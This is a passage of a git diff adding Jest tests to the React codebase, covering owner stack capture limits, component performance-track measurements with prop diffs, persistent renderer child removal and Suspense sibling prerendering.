+        expect(React).not.toHaveProperty('captureOwnerStack');
+      }
+    }
+  });
+
+  // @gate __DEV__
+  it('can get the component owner stacks during rendering in dev', async () => {
+    let stack;
+
+    function Foo() {
+      return <Bar />;
+    }
+    function Bar() {
+      return (
+        <div>
+          <Baz />
+        </div>
+      );
+    }
+    function Baz() {
+      stack = React.captureOwnerStack();
+      return <span>hi</span>;
+    }
+
+    await act(() => {
+      ReactNoop.render(
+        <div>
+          <Foo />
+        </div>,
+      );
+    });
+
+    expect(normalizeCodeLocInfo(stack)).toBe(
+      '\n    in Bar (at **)' + '\n    in Foo (at **)',
+    );
+  });
+
+  it('returns null outside of render', async () => {
+    // Awkward to gate since some builds will have `captureOwnerStack` return null in prod
+    if (__DEV__) {
+      expect(React.captureOwnerStack()).toBe(null);
+
+      await act(() => {
+        ReactNoop.render(<div />);
+      });
+
+      expect(React.captureOwnerStack()).toBe(null);
+    }
+  });
+
+  // @gate __DEV__
+  it('cuts off at the owner stack limit', async () => {
+    function App({siblingsBeforeStackOne}) {
+      const children = [];
+      for (
+        let i = 0;
+        i <
+        siblingsBeforeStackOne -
+          // <App /> callsite
+          1 -
+          // Stop so that OwnerStackOne will be right before cutoff
+          1;
+        i++
+      ) {
+        children.push(<Component key={i} />);
+      }
+      children.push(<OwnerStackOne key="stackOne" />);
+      children.push(<OwnerStackTwo key="stackTwo" />);
+
+      return children;
+    }
+
+    function Component() {
+      return null;
+    }
+
+    let stackOne;
+    function OwnerStackOne() {
+      stackOne = React.captureOwnerStack();
+    }
+
+    let stackTwo;
+    function OwnerStackTwo() {
+      stackTwo = React.captureOwnerStack();
+    }
+
+    await act(() => {
+      ReactNoop.render(
+        <App
+          key="one"
+          // Should be the value with of `ownerStackLimit` with `__VARIANT__` so that we see the cutoff
+          siblingsBeforeStackOne={500}
+        />,
+      );
+    });
+
+    expect({
+      pendingTimers: jest.getTimerCount(),
+      stackOne: normalizeCodeLocInfo(stackOne),
+      stackTwo: normalizeCodeLocInfo(stackTwo),
+    }).toEqual({
+      pendingTimers: 0,
+      stackOne: '\n    in App (at **)',
+      stackTwo: __VARIANT__
+        ? // captured right after cutoff
+          '\n    in UnknownOwner (at **)'
+        : // We never hit the limit outside __VARIANT__
+          '\n    in App (at **)',
+    });
+
+    await act(() => {
+      ReactNoop.render(
+        <App
+          // TODO: Owner Stacks should update on re-render.
+          key="two"
+          siblingsBeforeStackOne={0}
+        />,
+      );
+    });
+
+    expect({
+      pendingTimers: jest.getTimerCount(),
+      stackOne: normalizeCodeLocInfo(stackOne),
+      stackTwo: normalizeCodeLocInfo(stackTwo),
+    }).toEqual({
+      pendingTimers: 0,
+      stackOne: __VARIANT__
+        ? // We re-rendered immediately so not enough time has ellapsed to reset the limit.
+          '\n    in UnknownOwner (at **)'
+        : // We never hit the limit outside __VARIANT__
+          '\n    in App (at **)',
+      stackTwo: __VARIANT__
+        ? // We re-rendered immediately so not enough time has ellapsed to reset the limit.
+          '\n    in UnknownOwner (at **)'
+        : // We never hit the limit outside __VARIANT__
+          '\n    in App (at **)',
+    });
+
+    // advance time so that we reset the limit
+    advanceTimersByTime(1001);
+
+    await act(() => {
+      ReactNoop.render(
+        <App
+          // TODO: Owner Stacks should update on re-render.
+          key="three"
+          // We reset after <App /> so we need to render one more
+          // to have similar cutoff as the initial render (key="one")
+          siblingsBeforeStackOne={501}
+        />,
+      );
+    });
+
+    expect({
+      pendingTimers: jest.getTimerCount(),
+      stackOne: normalizeCodeLocInfo(stackOne),
+      stackTwo: normalizeCodeLocInfo(stackTwo),
+    }).toEqual({
+      pendingTimers: 0,
+      stackOne: '\n    in App (at **)',
+      stackTwo: __VARIANT__
+        ? // captured right after cutoff
+          '\n    in UnknownOwner (at **)'
+        : // We never hit the limit outside __VARIANT__
+          '\n    in App (at **)',
+    });
+  });
+
+  // @gate __DEV__
+  it('Fiber: resets the owner stack limit periodically', async () => {
+    function App({siblingsBeforeStackOne, timeout}) {
+      const children = [];
+      for (
+        let i = 0;
+        i <
+        siblingsBeforeStackOne -
+          // <App /> callsite
+          1 -
+          // Stop so that OwnerStackOne will be right before cutoff
+          1;
+        i++
+      ) {
+        children.push(<Component key={i} />);
+      }
+      children.push(<OwnerStackOne key="stackOne" />);
+      children.push(<OwnerStackDelayed key="stackTwo" timeout={timeout} />);
+
+      return children;
+    }
+
+    function Component() {
+      return null;
+    }
+
+    let stackOne;
+    function OwnerStackOne() {
+      Scheduler.log('render OwnerStackOne');
+      stackOne = React.captureOwnerStack();
+    }
+
+    let stackTwo;
+    function OwnerStackTwo() {
+      Scheduler.log('render OwnerStackTwo');
+      stackTwo = React.captureOwnerStack();
+    }
+    function OwnerStackDelayed({timeout}) {
+      Scheduler.log('render OwnerStackDelayed');
+      React.use(timeout);
+      return <OwnerStackTwo />;
+    }
+
+    React.startTransition(() => {
+      ReactNoop.render(
+        <App
+          key="one"
+          // Should be the value with of `ownerStackLimit` with `__VARIANT__` so that we see the cutoff
+          siblingsBeforeStackOne={500}
+          timeout={
+            new Promise(resolve =>
+              setTimeout(
+                resolve,
+                // Must be greater or equal then the reset interval
+                1000,
+              ),
+            )
+          }
+        />,
+      );
+    });
+
+    await waitFor(['render OwnerStackOne', 'render OwnerStackDelayed']);
+
+    expect({
+      pendingTimers: jest.getTimerCount(),
+      stackOne: normalizeCodeLocInfo(stackOne),
+      stackTwo: normalizeCodeLocInfo(stackTwo),
+    }).toEqual({
+      // 1 for the timeout
+      pendingTimers: 1,
+      stackOne: '\n    in App (at **)',
+      stackTwo: undefined,
+    });
+
+    // resolve `timeout` Promise
+    advanceTimersByTime(1000);
+
+    await waitFor(['render OwnerStackDelayed', 'render OwnerStackTwo']);
+
+    expect({
+      pendingTimers: jest.getTimerCount(),
+      stackOne: normalizeCodeLocInfo(stackOne),
+      stackTwo: normalizeCodeLocInfo(stackTwo),
+    }).toEqual({
+      pendingTimers: 0,
+      stackOne: '\n    in App (at **)',
+      stackTwo: __VARIANT__
+        ? // We don't reset in Fiber until we start a new render.
+          // Here we just continued after a ping.
+          '\n    in UnknownOwner (at **)' + '\n    in UnknownOwner (at **)'
+        : // We never hit the limit outside __VARIANT__
+          '\n    in OwnerStackDelayed (at **)' + '\n    in App (at **)',
+    });
+  });
+
+  // @gate __DEV__
+  it('Fizz: resets the owner stack limit periodically', async () => {
+    function App({siblingsBeforeStackOne, timeout}) {
+      const children = [];
+      for (
+        let i = 0;
+        i <
+        siblingsBeforeStackOne -
+          // <App /> callsite
+          1 -
+          // Stop so that OwnerStackOne will be right before cutoff
+          1;
+        i++
+      ) {
+        children.push(<Component key={i} />);
+      }
+      children.push(<OwnerStackOne key="stackOne" />);
+      children.push(<OwnerStackDelayed key="stackTwo" timeout={timeout} />);
+
+      return children;
+    }
+
+    function Component() {
+      return null;
+    }
+
+    let stackOne;
+    function OwnerStackOne() {
+      Scheduler.log('render OwnerStackOne');
+      stackOne = React.captureOwnerStack();
+    }
+
+    let stackTwo;
+    function OwnerStackTwo() {
+      Scheduler.log('render OwnerStackTwo');
+      stackTwo = React.captureOwnerStack();
+    }
+    function OwnerStackDelayed({timeout}) {
+      Scheduler.log('render OwnerStackDelayed');
+      React.use(timeout);
+      return <OwnerStackTwo />;
+    }
+
+    ReactNoopServer.render(
+      <App
+        key="one"
+        // Should be the value with of `ownerStackLimit` with `__VARIANT__` so that we see the cutoff
+        siblingsBeforeStackOne={500}
+        timeout={
+          new Promise(resolve =>
+            setTimeout(
+              resolve,
+              // Must be greater or equal then the reset interval
+              1000,
+            ),
+          )
+        }
+      />,
+    );
+
+    assertLog(['render OwnerStackOne', 'render OwnerStackDelayed']);
+
+    expect({
+      pendingTimers: jest.getTimerCount(),
+      stackOne: normalizeCodeLocInfo(stackOne),
+      stackTwo: normalizeCodeLocInfo(stackTwo),
+    }).toEqual({
+      // 1 for the timeout
+      pendingTimers: 1,
+      stackOne: '\n    in App (at **)',
+      stackTwo: undefined,
+    });
+
+    await serverAct(() => {
+      advanceTimersByTime(1000);
+    });
+
+    expect({
+      pendingTimers: jest.getTimerCount(),
+      stackOne: normalizeCodeLocInfo(stackOne),
+      stackTwo: normalizeCodeLocInfo(stackTwo),
+    }).toEqual({
+      pendingTimers: 0,
+      stackOne: '\n    in App (at **)',
+      stackTwo: __VARIANT__
+        ? // We don't reset in Fiber until we start a new render.
+          // Here we just continued after a ping.
+          '\n    in UnknownOwner (at **)' + '\n    in UnknownOwner (at **)'
+        : // We never hit the limit outside __VARIANT__
+          '\n    in OwnerStackDelayed (at **)' + '\n    in App (at **)',
+    });
+  });
+});
diff --git a/packages/react-reconciler/src/__tests__/ReactPerformanceTrack-test.js b/packages/react-reconciler/src/__tests__/ReactPerformanceTrack-test.js
new file mode 100644
index 000000000000..5f5defb271cc
--- /dev/null
+++ b/packages/react-reconciler/src/__tests__/ReactPerformanceTrack-test.js
@@ -0,0 +1,632 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @emails react-core
+ * @jest-environment node
+ */
+
+let React;
+let ReactNoop;
+let Scheduler;
+let act;
+let useEffect;
+
+describe('ReactPerformanceTracks', () => {
+  const performanceMeasureCalls = [];
+
+  beforeEach(() => {
+    performanceMeasureCalls.length = 0;
+    Object.defineProperty(performance, 'measure', {
+      value: jest.fn((measureName, reusableOptions) => {
+        performanceMeasureCalls.push([
+          measureName,
+          {
+            // React will mutate the options it passes to performance.measure.
+            ...reusableOptions,
+          },
+        ]);
+      }),
+      configurable: true,
+    });
+    console.timeStamp = () => {};
+    jest.spyOn(console, 'timeStamp').mockImplementation(() => {});
+
+    jest.resetModules();
+
+    React = require('react');
+    ReactNoop = require('react-noop-renderer');
+    Scheduler = require('scheduler');
+    act = require('internal-test-utils').act;
+    useEffect = React.useEffect;
+  });
+
+  function getConsoleTimestampEntries() {
+    try {
+      return console.timeStamp.mock.calls.filter(call => {
+        const [, startTime, endTime] = call;
+
+        const isRegisterTrackCall = startTime !== 0.003 && endTime !== 0.003;
+        return isRegisterTrackCall;
+      });
+    } finally {
+      console.timeStamp.mockClear();
+    }
+  }
+
+  // @gate __DEV__ && enableComponentPerformanceTrack
+  it('shows a hint if an update is triggered by a deeply equal object', async () => {
+    const App = function App({items}) {
+      Scheduler.unstable_advanceTime(10);
+      useEffect(() => {}, [items]);
+    };
+
+    Scheduler.unstable_advanceTime(1);
+    const items = ['one', 'two'];
+    await act(() => {
+      ReactNoop.render(<App items={items} />);
+    });
+
+    expect(performanceMeasureCalls).toEqual([
+      [
+        'Mount',
+        {
+          detail: {
+            devtools: {
+              color: 'warning',
+              properties: null,
+              tooltipText: 'Mount',
+              track: 'Components ⚛',
+            },
+          },
+          end: 11,
+          start: 1,
+        },
+      ],
+    ]);
+    performanceMeasureCalls.length = 0;
+
+    Scheduler.unstable_advanceTime(10);
+    await act(() => {
+      ReactNoop.render(<App items={items.concat('4')} />);
+    });
+
+    expect(performanceMeasureCalls).toEqual([
+      [
+        '​App',
+        {
+          detail: {
+            devtools: {
+              color: 'primary-dark',
+              properties: [
+                ['Changed Props', ''],
+                ['  items', 'Array'],
+                ['+   2', '…'],
+              ],
+              tooltipText: 'App',
+              track: 'Components ⚛',
+            },
+          },
+          end: 31,
+          start: 21,
+        },
+      ],
+    ]);
+  });
+
+  // @gate __DEV__ && enableComponentPerformanceTrack
+  it('bails out of diffing wide arrays', async () => {
+    const App = function App({items}) {
+      Scheduler.unstable_advanceTime(10);
+      React.useEffect(() => {}, [items]);
+    };
+
+    Scheduler.unstable_advanceTime(1);
+    const items = Array.from({length: 1000}, (_, i) => i);
+    await act(() => {
+      ReactNoop.render(<App items={items} />);
+    });
+
+    expect(performanceMeasureCalls).toEqual([
+      [
+        'Mount',
+        {
+          detail: {
+            devtools: {
+              color: 'warning',
+              properties: null,
+              tooltipText: 'Mount',
+              track: 'Components ⚛',
+            },
+          },
+          end: 11,
+          start: 1,
+        },
+      ],
+    ]);
+    performanceMeasureCalls.length = 0;
+
+    Scheduler.unstable_advanceTime(10);
+    await act(() => {
+      ReactNoop.render(<App items={items.concat('-1')} />);
+    });
+
+    expect(performanceMeasureCalls).toEqual([
+      [
+        '​App',
+        {
+          detail: {
+            devtools: {
+              color: 'primary-dark',
+              properties: [
+                ['Changed Props', ''],
+                ['  items', 'Array'],
+                [
+                  'Previous object has more than 100 properties. React will not attempt to diff objects with too many properties.',
+                  '',
+                ],
+                [
+                  'Next object has more than 100 properties. React will not attempt to diff objects with too many properties.',
+                  '',
+                ],
+              ],
+              tooltipText: 'App',
+              track: 'Components ⚛',
+            },
+          },
+          end: 31,
+          start: 21,
+        },
+      ],
+    ]);
+  });
+
+  // @gate __DEV__ && enableComponentPerformanceTrack
+  it('does not show all properties of wide objects', async () => {
+    const App = function App({items}) {
+      Scheduler.unstable_advanceTime(10);
+      React.useEffect(() => {}, [items]);
+    };
+
+    Scheduler.unstable_advanceTime(1);
+    await act(() => {
+      ReactNoop.render(<App data={{buffer: null}} />);
+    });
+
+    expect(performanceMeasureCalls).toEqual([
+      [
+        'Mount',
+        {
+          detail: {
+            devtools: {
+              color: 'warning',
+              properties: null,
+              tooltipText: 'Mount',
+              track: 'Components ⚛',
+            },
+          },
+          end: 11,
+          start: 1,
+        },
+      ],
+    ]);
+    performanceMeasureCalls.length = 0;
+
+    Scheduler.unstable_advanceTime(10);
+
+    const bigData = new Uint8Array(1000);
+    await act(() => {
+      ReactNoop.render(<App data={{buffer: bigData}} />);
+    });
+
+    expect(performanceMeasureCalls).toEqual([
+      [
+        '​App',
+        {
+          detail: {
+            devtools: {
+              color: 'primary-dark',
+              properties: [
+                ['Changed Props', ''],
+                ['  data', ''],
+                ['-   buffer', 'null'],
+                ['+   buffer', 'Uint8Array'],
+                ['+     0', '0'],
+                ['+     1', '0'],
+                ['+     2', '0'],
+                ['+     3', '0'],
+                ['+     4', '0'],
+                ['+     5', '0'],
+                ['+     6', '0'],
+                ['+     7', '0'],
+                ['+     8', '0'],
+                ['+     9', '0'],
+                ['+     10', '0'],
+                ['+     11', '0'],
+                ['+     12', '0'],
+                ['+     13', '0'],
+                ['+     14', '0'],
+                ['+     15', '0'],
+                ['+     16', '0'],
+                ['+     17', '0'],
+                ['+     18', '0'],
+                ['+     19', '0'],
+                ['+     20', '0'],
+                ['+     21', '0'],
+                ['+     22', '0'],
+                ['+     23', '0'],
+                ['+     24', '0'],
+                ['+     25', '0'],
+                ['+     26', '0'],
+                ['+     27', '0'],
+                ['+     28', '0'],
+                ['+     29', '0'],
+                ['+     30', '0'],
+                ['+     31', '0'],
+                ['+     32', '0'],
+                ['+     33', '0'],
+                ['+     34', '0'],
+                ['+     35', '0'],
+                ['+     36', '0'],
+                ['+     37', '0'],
+                ['+     38', '0'],
+                ['+     39', '0'],
+                ['+     40', '0'],
+                ['+     41', '0'],
+                ['+     42', '0'],
+                ['+     43', '0'],
+                ['+     44', '0'],
+                ['+     45', '0'],
+                ['+     46', '0'],
+                ['+     47', '0'],
+                ['+     48', '0'],
+                ['+     49', '0'],
+                ['+     50', '0'],
+                ['+     51', '0'],
+                ['+     52', '0'],
+                ['+     53', '0'],
+                ['+     54', '0'],
+                ['+     55', '0'],
+                ['+     56', '0'],
+                ['+     57', '0'],
+                ['+     58', '0'],
+                ['+     59', '0'],
+                ['+     60', '0'],
+                ['+     61', '0'],
+                ['+     62', '0'],
+                ['+     63', '0'],
+                ['+     64', '0'],
+                ['+     65', '0'],
+                ['+     66', '0'],
+                ['+     67', '0'],
+                ['+     68', '0'],
+                ['+     69', '0'],
+                ['+     70', '0'],
+                ['+     71', '0'],
+                ['+     72', '0'],
+                ['+     73', '0'],
+                ['+     74', '0'],
+                ['+     75', '0'],
+                ['+     76', '0'],
+                ['+     77', '0'],
+                ['+     78', '0'],
+                ['+     79', '0'],
+                ['+     80', '0'],
+                ['+     81', '0'],
+                ['+     82', '0'],
+                ['+     83', '0'],
+                ['+     84', '0'],
+                ['+     85', '0'],
+                ['+     86', '0'],
+                ['+     87', '0'],
+                ['+     88', '0'],
+                ['+     89', '0'],
+                ['+     90', '0'],
+                ['+     91', '0'],
+                ['+     92', '0'],
+                ['+     93', '0'],
+                ['+     94', '0'],
+                ['+     95', '0'],
+                ['+     96', '0'],
+                ['+     97', '0'],
+                ['+     98', '0'],
+                ['+     99', '0'],
+                [
+                  '+     Only 100 properties are shown. React will not log more properties of this object.',
+                  '',
+                ],
+              ],
+              tooltipText: 'App',
+              track: 'Components ⚛',
+            },
+          },
+          end: 31,
+          start: 21,
+        },
+      ],
+    ]);
+  });
+
+  // @gate __DEV__ && enableComponentPerformanceTrack
+  it('includes console.timeStamp spans for Components with no prop changes', async () => {
+    function Left({value}) {
+      Scheduler.unstable_advanceTime(5000);
+    }
+    function Right() {
+      Scheduler.unstable_advanceTime(10000);
+    }
+
+    await act(() => {
+      ReactNoop.render(
+        <>
+          <Left value={1} />
+          <Right />
+        </>,
+      );
+    });
+
+    expect(performanceMeasureCalls).toEqual([
+      [
+        'Mount',
+        {
+          detail: {
+            devtools: {
+              color: 'warning',
+              properties: null,
+              tooltipText: 'Mount',
+              track: 'Components ⚛',
+            },
+          },
+          end: 5000,
+          start: 0,
+        },
+      ],
+      [
+        'Mount',
+        {
+          detail: {
+            devtools: {
+              color: 'warning',
+              properties: null,
+              tooltipText: 'Mount',
+              track: 'Components ⚛',
+            },
+          },
+          end: 15000,
+          start: 5000,
+        },
+      ],
+    ]);
+    performanceMeasureCalls.length = 0;
+    getConsoleTimestampEntries();
+
+    Scheduler.unstable_advanceTime(1000);
+
+    await act(() => {
+      ReactNoop.render(
+        <>
+          <Left value={2} />
+          <Right />
+        </>,
+      );
+    });
+
+    expect(performanceMeasureCalls).toEqual([
+      [
+        '​Left',
+        {
+          detail: {
+            devtools: {
+              color: 'error',
+              properties: [
+                ['Changed Props', ''],
+                ['- value', '1'],
+                ['+ value', '2'],
+              ],
+              tooltipText: 'Left',
+              track: 'Components ⚛',
+            },
+          },
+          end: 21000,
+          start: 16000,
+        },
+      ],
+    ]);
+    expect(getConsoleTimestampEntries()).toEqual([
+      ['Render', 16000, 31000, 'Blocking', 'Scheduler ⚛', 'primary-dark'],
+      ['Right', 21000, 31000, 'Components ⚛', undefined, 'error'],
+    ]);
+    performanceMeasureCalls.length = 0;
+  });
+
+  // @gate __DEV__ && enableComponentPerformanceTrack
+  it('can handle bigint in arrays', async () => {
+    const App = function App({numbers}) {
+      Scheduler.unstable_advanceTime(10);
+      React.useEffect(() => {}, [numbers]);
+    };
+
+    Scheduler.unstable_advanceTime(1);
+    await act(() => {
+      ReactNoop.render(
+        <App
+          data={{
+            deeply: {
+              nested: {
+                numbers: [1n],
+              },
+            },
+          }}
+        />,
+      );
+    });
+
+    expect(performanceMeasureCalls).toEqual([
+      [
+        'Mount',
+        {
+          detail: {
+            devtools: {
+              color: 'warning',
+              properties: null,
+              tooltipText: 'Mount',
+              track: 'Components ⚛',
+            },
+          },
+          end: 11,
+          start: 1,
+        },
+      ],
+    ]);
+    performanceMeasureCalls.length = 0;
+
+    Scheduler.unstable_advanceTime(10);
+
+    await act(() => {
+      ReactNoop.render(
+        <App
+          data={{
+            deeply: {
+              nested: {
+                numbers: [2n],
+              },
+            },
+          }}
+        />,
+      );
+    });
+
+    expect(performanceMeasureCalls).toEqual([
+      [
+        '​App',
+        {
+          detail: {
+            devtools: {
+              color: 'primary-dark',
+              properties: [
+                ['Changed Props', ''],
+                ['  data', ''],
+                ['    deeply', ''],
+                ['      nested', ''],
+                ['-       numbers', 'Array'],
+                ['+       numbers', 'Array'],
+              ],
+              tooltipText: 'App',
+              track: 'Components ⚛',
+            },
+          },
+          end: 31,
+          start: 21,
+        },
+      ],
+    ]);
+  });
+
+  // @gate __DEV__ && enableComponentPerformanceTrack
+  it('diffs HTML-like objects', async () => {
+    const App = function App({container}) {
+      Scheduler.unstable_advanceTime(10);
+      React.useEffect(() => {}, [container]);
+    };
+
+    class Window {}
+    const createOpaqueOriginWindow = () => {
+      return new Proxy(new Window(), {
+        get(target, prop) {
+          if (prop === Symbol.toStringTag) {
+            return target[Symbol.toStringTag];
+          }
+          // Some properties are allowed if JS itself is accessign those e.g.
+          // Symbol.toStringTag.
+          // Just make sure React isn't accessing arbitrary properties.
+          throw new Error(
+            `Failed to read named property '${String(prop)}' from Window`,
+          );
+        },
+      });
+    };
+
+    class OpaqueOriginHTMLIFrameElement {
+      constructor(textContent) {
+        this.textContent = textContent;
+      }
+      contentWindow = createOpaqueOriginWindow();
+      nodeType = 1;
+      [Symbol.toStringTag] = 'HTMLIFrameElement';
+    }
+
+    Scheduler.unstable_advanceTime(1);
+    await act(() => {
+      ReactNoop.render(
+        <App
+          container={new OpaqueOriginHTMLIFrameElement('foo')}
+          contentWindow={createOpaqueOriginWindow()}
+        />,
+      );
+    });
+
+    expect(performanceMeasureCalls).toEqual([
+      [
+        'Mount',
+        {
+          detail: {
+            devtools: {
+              color: 'warning',
+              properties: null,
+              tooltipText: 'Mount',
+              track: 'Components ⚛',
+            },
+          },
+          end: 11,
+          start: 1,
+        },
+      ],
+    ]);
+    performanceMeasureCalls.length = 0;
+
+    Scheduler.unstable_advanceTime(10);
+
+    await act(() => {
+      ReactNoop.render(
+        <App
+          container={new OpaqueOriginHTMLIFrameElement('bar')}
+          contentWindow={createOpaqueOriginWindow()}
+        />,
+      );
+    });
+
+    expect(performanceMeasureCalls).toEqual([
+      [
+        '​App',
+        {
+          detail: {
+            devtools: {
+              color: 'primary-dark',
+              properties: [
+                ['Changed Props', ''],
+                ['- container', 'HTMLIFrameElement'],
+                ['-   contentWindow', 'Window'],
+                ['-   nodeType', '1'],
+                ['-   textContent', '"foo"'],
+                ['+ container', 'HTMLIFrameElement'],
+                ['+   contentWindow', 'Window'],
+                ['+   nodeType', '1'],
+                ['+   textContent', '"bar"'],
+                [
+                  '  contentWindow',
+                  'Referentially unequal but deeply equal objects. Consider memoization.',
+                ],
+              ],
+              tooltipText: 'App',
+              track: 'Components ⚛',
+            },
+          },
+          end: 31,
+          start: 21,
+        },
+      ],
+    ]);
+  });
+});
diff --git a/packages/react-reconciler/src/__tests__/ReactPersistent-test.js b/packages/react-reconciler/src/__tests__/ReactPersistent-test.js
index 7900ccdadd45..dba30d6d267b 100644
--- a/packages/react-reconciler/src/__tests__/ReactPersistent-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactPersistent-test.js
@@ -12,6 +12,8 @@
 
 let React;
 let ReactNoopPersistent;
+
+let act;
 let waitForAll;
 
 describe('ReactPersistent', () => {
@@ -20,8 +22,7 @@ describe('ReactPersistent', () => {
 
     React = require('react');
     ReactNoopPersistent = require('react-noop-renderer/persistent');
-    const InternalTestUtils = require('internal-test-utils');
-    waitForAll = InternalTestUtils.waitForAll;
+    ({act, waitForAll} = require('internal-test-utils'));
   });
 
   // Inlined from shared folder so we can run this test on a bundle.
@@ -213,4 +214,25 @@ describe('ReactPersistent', () => {
     // The original is unchanged.
     expect(newPortalChildren).toEqual([div(span(), 'Hello ', 'World')]);
   });
+
+  it('remove children', async () => {
+    function Wrapper({children}) {
+      return children;
+    }
+
+    const root = ReactNoopPersistent.createRoot();
+    await act(() => {
+      root.render(
+        <Wrapper>
+          <inner />
+        </Wrapper>,
+      );
+    });
+    expect(root.getChildrenAsJSX()).toEqual(<inner />);
+
+    await act(() => {
+      root.render(<Wrapper />);
+    });
+    expect(root.getChildrenAsJSX()).toEqual(null);
+  });
 });
diff --git a/packages/react-reconciler/src/__tests__/ReactSiblingPrerendering-test.js b/packages/react-reconciler/src/__tests__/ReactSiblingPrerendering-test.js
new file mode 100644
index 000000000000..48d66a5e43d3
--- /dev/null
+++ b/packages/react-reconciler/src/__tests__/ReactSiblingPrerendering-test.js
@@ -0,0 +1,544 @@
+let React;
+let ReactNoop;
+let Scheduler;
+let act;
+let assertLog;
+let waitFor;
+let waitForPaint;
+let waitForAll;
+let textCache;
+let startTransition;
+let Suspense;
+let Activity;
+
+describe('ReactSiblingPrerendering', () => {
+  beforeEach(() => {
+    jest.resetModules();
+
+    React = require('react');
+    ReactNoop = require('react-noop-renderer');
+    Scheduler = require('scheduler');
+    act = require('internal-test-utils').act;
+    assertLog = require('internal-test-utils').assertLog;
+    waitFor = require('internal-test-utils').waitFor;
+    waitForPaint = require('internal-test-utils').waitForPaint;
+    waitForAll = require('internal-test-utils').waitForAll;
+    startTransition = React.startTransition;
+    Suspense = React.Suspense;
+    Activity = React.Activity;
+
+    textCache = new Map();
+  });
+
+  function resolveText(text) {
+    const record = textCache.get(text);
+    if (record === undefined) {
+      const newRecord = {
+        status: 'resolved',
+        value: text,
+      };
+      textCache.set(text, newRecord);
+    } else if (record.status === 'pending') {
+      const thenable = record.value;
+      record.status = 'resolved';
+      record.value = text;
+      thenable.pings.forEach(t => t());
+    }
+  }
+
+  function readText(text) {
+    const record = textCache.get(text);
+    if (record !== undefined) {
+      switch (record.status) {
+        case 'pending':
+          Scheduler.log(`Suspend! [${text}]`);
+          throw record.value;
+        case 'rejected':
+          throw record.value;
+        case 'resolved':
+          return record.value;
+      }
+    } else {
+      Scheduler.log(`Suspend! [${text}]`);
+      const thenable = {
+        pings: [],
+        then(resolve) {
+          if (newRecord.status === 'pending') {
+            thenable.pings.push(resolve);
+          } else {
+            Promise.resolve().then(() => resolve(newRecord.value));
+          }
+        },
+      };
+
+      const newRecord = {
+        status: 'pending',
+        value: thenable,
+      };
+      textCache.set(text, newRecord);
+
+      throw thenable;
+    }
+  }
+
+  // function getText(text) {
+  //   const record = textCache.get(text);
+  //   if (record === undefined) {
+  //     const thenable = {
+  //       pings: [],
+  //       then(resolve) {
+  //         if (newRecord.status === 'pending') {
+  //           thenable.pings.push(resolve);
+  //         } else {
+  //           Promise.resolve().then(() => resolve(newRecord.value));
+  //         }
+  //       },
+  //     };
+  //     const newRecord = {
+  //       status: 'pending',
+  //       value: thenable,
+  //     };
+  //     textCache.set(text, newRecord);
+  //     return thenable;
+  //   } else {
+  //     switch (record.status) {
+  //       case 'pending':
+  //         return record.value;
+  //       case 'rejected':
+  //         return Promise.reject(record.value);
+  //       case 'resolved':
+  //         return Promise.resolve(record.value);
+  //     }
+  //   }
+  // }
+
+  function Text({text}) {
+    Scheduler.log(text);
+    return text;
+  }
+
+  function AsyncText({text}) {
+    readText(text);
+    Scheduler.log(text);
+    return text;
+  }
+
+  it("don't prerender siblings when something errors", async () => {
+    class ErrorBoundary extends React.Component {
+      state = {error: null};
+      static getDerivedStateFromError(error) {
+        return {error};
+      }
+      render() {
+        if (this.state.error) {
+          return <Text text={this.state.error.message} />;
+        }
+        return this.props.children;
+      }
+    }
+
+    function Oops() {
+      throw new Error('Oops!');
+    }
+
+    function App() {
+      return (
+        <>
+          <div>
+            <ErrorBoundary>
+              <Oops />
+              <AsyncText text="A" />
+            </ErrorBoundary>
+          </div>
+          <div>
+            <AsyncText text="B" />
+            <AsyncText text="C" />
+          </div>
+        </>
+      );
+    }
+
+    const root = ReactNoop.createRoot();
+    await act(() => startTransition(() => root.render(<App />)));
+    assertLog([
+      'Oops!',
+
+      // A is skipped because we don't prerender siblings when
+      // something errors.
+
+      'Suspend! [B]',
+
+      // After B suspends, we're still able to prerender C without starting
+      // over because there's no fallback, so the root is blocked from
+      // committing anyway.
+      'Suspend! [C]',
+    ]);
+  });
+
+  it("don't skip siblings when rendering inside a hidden tree", async () => {
+    function App() {
+      return (
+        <>
+          <Text text="A" />
+          <Activity mode="hidden">
+            <Suspense fallback={<Text text="Loading..." />}>
+              <AsyncText text="B" />
+              <AsyncText text="C" />
+            </Suspense>
+          </Activity>
+        </>
+      );
+    }
+
+    const root = ReactNoop.createRoot();
+    await act(async () => {
+      startTransition(async () => root.render(<App />));
+
+      // The first render includes only the visible part of the tree. The
+      // hidden content is deferred until later.
+      await waitForPaint(['A']);
+      expect(root).toMatchRenderedOutput('A');
+
+      if (gate(flags => flags.enableYieldingBeforePassive)) {
+        // Passive effects.
+        await waitForPaint([]);
+      }
+      // The second render is a prerender of the hidden content.
+      await waitForPaint([
+        'Suspend! [B]',
+        // If B and C were visible, C would not have been attempted
+        // during this pass, because it would prevented the fallback
+        // from showing.
+        'Suspend! [C]',
+        'Loading...',
+      ]);
+      expect(root).toMatchRenderedOutput('A');
+    });
+  });
+
+  it('start prerendering retries right after the fallback commits', async () => {
+    function App() {
+      return (
+        <Suspense fallback={<Text text="Loading..." />}>
+          <AsyncText text="A" />
+          <AsyncText text="B" />
+        </Suspense>
+      );
+    }
+
+    const root = ReactNoop.createRoot();
+    await act(async () => {
+      startTransition(() => root.render(<App />));
+
+      // On the first attempt, A suspends. Unwind and show a fallback, without
+      // attempting B.
+      await waitForPaint(['Suspend! [A]', 'Loading...']);
+      expect(root).toMatchRenderedOutput('Loading...');
+
+      // Immediately after the fallback commits, retry the boundary again. This
+      // time we include B, since we're not blocking the fallback from showing.
+      if (gate(flags => flags.enableYieldingBeforePassive)) {
+        // Passive effects.
+        await waitForPaint([]);
+      }
+      await waitForPaint(['Suspend! [A]', 'Suspend! [B]']);
+    });
+    expect(root).toMatchRenderedOutput('Loading...');
+  });
+
+  it('switch back to normal rendering mode if a ping occurs during prerendering', async () => {
+    function App() {
+      return (
+        <div>
+          <Suspense fallback={<Text text="Loading outer..." />}>
+            <div>
+              <Text text="A" />
+              <AsyncText text="B" />
+            </div>
+            <div>
+              <Suspense fallback={<Text text="Loading inner..." />}>
+                <AsyncText text="C" />
+                <AsyncText text="D" />
+              </Suspense>
+            </div>
+          </Suspense>
+        </div>
+      );
+    }
+
+    const root = ReactNoop.createRoot();
+    await act(async () => {
